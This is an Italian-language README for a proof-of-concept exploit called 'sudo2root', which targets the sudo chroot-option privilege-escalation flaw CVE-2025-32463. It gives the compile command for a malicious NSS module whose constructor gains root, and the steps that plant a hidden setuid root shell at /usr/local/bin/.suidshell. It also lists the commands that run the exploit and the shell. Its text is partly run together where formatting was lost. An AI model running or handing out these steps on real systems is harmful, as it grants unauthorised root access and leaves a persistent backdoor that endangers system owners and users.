
Escalation locale dei privilegi di Sudo CVE-2025-32463 (Ideale per i casi in cui la shell non è stabile per generare una nuova shell di root)
sudo -RQuesto PoC dimostra l'escalation dei privilegi locali su sistemi Linux tramite l'abuso dell'opzione sudo -R in combinazione con un modulo NSS personalizzato. Prende di mira la vulnerabilità CVE-2025-32463, che deriva dalla gestione non sicura di nsswitch.conf e delle librerie condivise NSS in un ambiente chroot.
Questo PoC, sudo2root, adatta la tecnica originale compilando un modulo NSS personalizzato che sfrutta l'attributo constructor per escalare i privilegi e rilasciare una shell root setuid in /usr/local/bin/.suidshell.
-R da parte di sudo.sudo può eseguire codice arbitrario come root, infrangendo l'isolamento di container e utenti.sudo -R cambia la directory root ma non abbassa i privilegi né sana l'ambiente.nsswitch.conf malevolo e un oggetto condiviso libnss_* personalizzato.sudo a caricare la libreria NSS controllata dall'attaccante.__attribute__((constructor))), rilascia una shell root setuid ed esegue l'escalation dei privilegi.sudo2root.c – Modulo NSS malevolo:
setreuid(0,0) e setregid(0,0)gccScript di exploit Bash:
etc/nsswitch.conflibnss_/sudo2root1337.so.2sudo -R sudo2root sudo2root
Shell Setuid:
/usr/local/bin/.suidshell/usr/local/bin/.suidshell id
chmod +x sudoinject.sh
./sudoinject.sh
Dopo che l'exploit è stato completato, esegui:
/usr/local/bin/.suidshell
whoami # => root
sudoinject.sh # Main exploit script
libnss_/sudo2root1337.so.2 # Malicious NSS module (compiled)
sudo2root/etc/nsswitch.conf # Custom nsswitch pointing to fake module
/usr/local/bin/.suidshell # Final setuid root shell
sudo -R:-R <dir> di sudo cambia la directory root prima di eseguire un comando.nsswitch.conf personalizzato con passwd: /libnss_<name>.so, sudo lo carica prima di abbassare i privilegi.L'oggetto condiviso viene compilato con:
gcc -shared -fPIC -Wl,-init,exploit_constructor -o libnss_/sudo2root1337.so.2 sudo2root.c
Il constructor viene eseguito prima di qualsiasi logica main().
Crea e compila una shell suid con:
setreuid(0,0); setregid(0,0); execl("/bin/bash", "bash", NULL);
Imposta i permessi tramite:
chown 0:0 .suidshell && chmod 4755 .suidshell

MikiVirusQuesto codice è fornito solo a scopo educativo. L'uso non autorizzato di questo codice su sistemi di cui non si è proprietari o per cui non si ha il permesso esplicito di testare è illegale e non etico. Ottieni sempre la dovuta autorizzazione prima di effettuare test di sicurezza.